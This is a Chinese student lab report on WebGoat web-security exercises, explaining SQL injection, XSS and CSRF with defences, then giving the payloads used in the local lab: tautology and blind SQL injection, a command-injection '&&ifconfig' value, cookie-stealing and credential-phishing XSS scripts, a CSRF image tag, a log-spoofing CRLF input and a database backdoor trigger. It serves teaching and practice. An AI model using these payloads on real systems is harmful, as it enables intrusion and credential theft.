问题回答

SQL注入攻击原理?如何防御?

原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。

  • 防御:

    1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。

    2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

    3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

    4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

    5.应用的异常信息应该给出尽可能少的提示。

    6.采取辅助软件或网站平台来检测sql注入。
XSS攻击的原理?如何防御?

原理:在Web页面里插入恶意Script代码,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,一个看似安全的网页却有可能盗取用户的cookies,或者登录名密码等信息。

  • 防御:

1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。

2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。

3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。

CSRF攻击原理?如何防御?

原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

  • 防御:

1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。

3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

WebGoat安装

  • WebGoat简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行:java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat
  • WebGoat使用8080端口,所以在浏览器上访问localhost:8080/WebGoat,进入WebGoat

SQL字符串注入(String SQL Injection)

这是一个表单让使用者查询他的信用卡号,使用SQL注入让所有的信用卡号都看得见

现在要做的是让这个语句中的WHERE这个条件语句失效

a or 1 不管a是真或假最后输出都是1,只有构造这样一个永真式“1”,那么不管前面的WHERE是否成立都能够执行!

所以,可以构造语句'or 1='1,将输入进的语句变成两条语句,为永真。

第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。这样一条语句被强行拆分成为两条语句!

页面刷新了一下看不到效果了,如下图。

命令注入(Command Injection)

捕获到数据



send to Repeater,更改URL处为AccessControlMatrix.help"&&ifconfig"

盲数字注入(Blind Numeric SQL Injection)

目标是得到一个存放在pins表中值pin的内容,行号是一个int型的数据cc_number=1111222233334444,

先确定pin值的范围,输入语句

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );

有效的,说明pin值大于100

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );

无效的,说明pin值小于5000

最后得到结果

反射型XSS(Reflected XSS Attacks)

用burpsuite可以发现,UpdateCart Purchase均以post提交数据,但在Enter your credit card number:以及Enter your three digit access code:处的值均被post原样返回,所以可以构造js语言

<SCRIPT>alert(document.cookie);</SCRIPT>

得到cookies

储存型XSS(Stored XSS Attakcs)

一个关于去除你曾经输入信息的练习。应该是要输入一个HTML标签在Message中。

相当于是给用户发一个信息,用户在打开这个信息时信息里的js代码被应用,然后得到用户cookies。

Cross Site Request Forgery(CSRF)

要写一个URL诱使其他用户点击,从而触发CSRF攻击事件。

本题中大致意思是要给别人发个邮件,其中有个包含XSRF页面恶意请求的图像,但是这个图像要隐藏。

根据题目要求我们伪装这样一条语句:

<img src="http://localhost:8080/WebGoat/attack?Screen=279&menu=900&transferFunds=6000"/>

CSRF Prompt By-Pass

这次邮件包含两个恶意请求:一个是转钱的金额,另一个是确认转账

点击20145232就完成了转账和转账确认!

Log Spoofing

在这里输入的用户名会被追加到日志文件中,在User Name文本框中输入lxm%0d%0aLogin Succeeded for username: admin使用户名为“admin”的用户在日志中显示“成功登录”

Database Backdoors

先输一个101,得到了该用户的信息

可以发现输入的语句没有验证,很容易进行SQL注入,输入注入语句:101; update employee set salary=10000,成功把该用户的工资涨到了10000:

创建一个后门,把表中所有的邮箱和用户ID都设为自己的:

101;CREATE TRIGGER HWHBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='new@foxmail.com' WHERE userid = NEW.userid

Phishing with XSS

这个实验是构造一个登录页面,然后输入登录的用户名和密码后,可以将其获取。

<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:80/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

20145232韩文浩 《网络对抗技术》 Web安全基础实践的更多相关文章

  1. 20145239杜文超《网络对抗》- Web安全基础实践

    20145239杜文超<网络对抗>- Web安全基础实践 基础问题回答 (1)SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  2. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  3. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  4. 20145216史婧瑶《网络对抗》Web安全基础实践

    20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...

  5. 20145227鄢曼君《网络对抗》Web安全基础实践

    20145227鄢曼君<网络对抗>Web安全基础实践 实验后回答问题 1.SQL注入攻击原理,如何防御? SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是 ...

  6. 20145120黄玄曦《网络对抗》Web安全基础实践

    20145120黄玄曦<网络对抗>Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 SQL注入原理简单地说大概是,通过构造特殊的SQL命令提交表单,让服务器执行构造的恶意S ...

  7. 20145217《网络对抗》 Web安全基础实践

    20145217<网络对抗> Web安全基础实践 一.实践任务 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.实验后回答问题 (1)SQL注入攻击原理,如 ...

  8. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  9. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  10. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

随机推荐

  1. linux shell数据重定向(输入重定向与输出重定向)详细分析

    linux shell下常用输入输出操作符是: 1. 标准输入 (stdin) :代码为 0 ,使用 < 或 << : /dev/stdin -> /proc/self/fd/ ...

  2. 用dockerfile创建jmeter的docker镜像

    网上多是创建docker镜像是从jmeter官方下载jmeter的tgz包 今天我们用本地已经下载好的tgz包. 以下是dockerfile FROM java:8 ENV http_proxy &q ...

  3. intellij idea在project下同时打开多个工程(maven工程)

    前提:我的工程都是maven工程   我有两个工程,一个是接口contract,一个是接口的具体实现server.想要同时在一个工作空间下展示,方便调试开发,加载后效果如下   idea有worksp ...

  4. mysql学习笔记--go使用mysql

    一. 连接数据库 a. //用户名:密码@[连接方式](主机名:端口号)/数据库名 db,_:=sql.Open("mysql","root:7758521123jf@( ...

  5. 完成一个Laravel项目的过程

    1.分析项目,找出项目的元素并进行建模(navicat 该工具还可以到处sql语句) 建立关系 2.安装Laravel(使用composer来安装,如果没有的话先安装composer) 3.配置虚拟主 ...

  6. CentOS7+CDH5.14.0安装全流程记录,图文详解全程实测-7主节点CM安装子节点Agent配置

    主节点安装cloudera manager 准备工作:下载CM和mysql连接驱动包: CM各版本下载地址:http://archive.cloudera.com/cm5/cm/5/ 从里面选择:ht ...

  7. python 基础 ----- 常用的方法

    one.将英文字符设置大小写 upper()  :将英文字符设置大写 lower()   :将英文字符设置小写 two.去掉字符串的首尾空格    不能去除字符串中间的空格偶 strip() : 去掉 ...

  8. 阅读笔记:JAVA - chapter 1 & 2

    static 即使没有创建对象,也能调用这个方法. 当Static method, static变量有定义,不同对象将指向同一存储空间,将其初始化. 存储方式 寄存器 堆栈:对象引用,需要知道存活多久 ...

  9. CRM--admin组件

    admin组件使用 1.创建一个Django项目 2.在models里面创建表 class Publish(models.Model): name = models.CharField(max_len ...

  10. axios POST提交数据的三种请求方式写法

    1.Content-Type: application/json import axios from 'axios' let data = {"code":"1234&q ...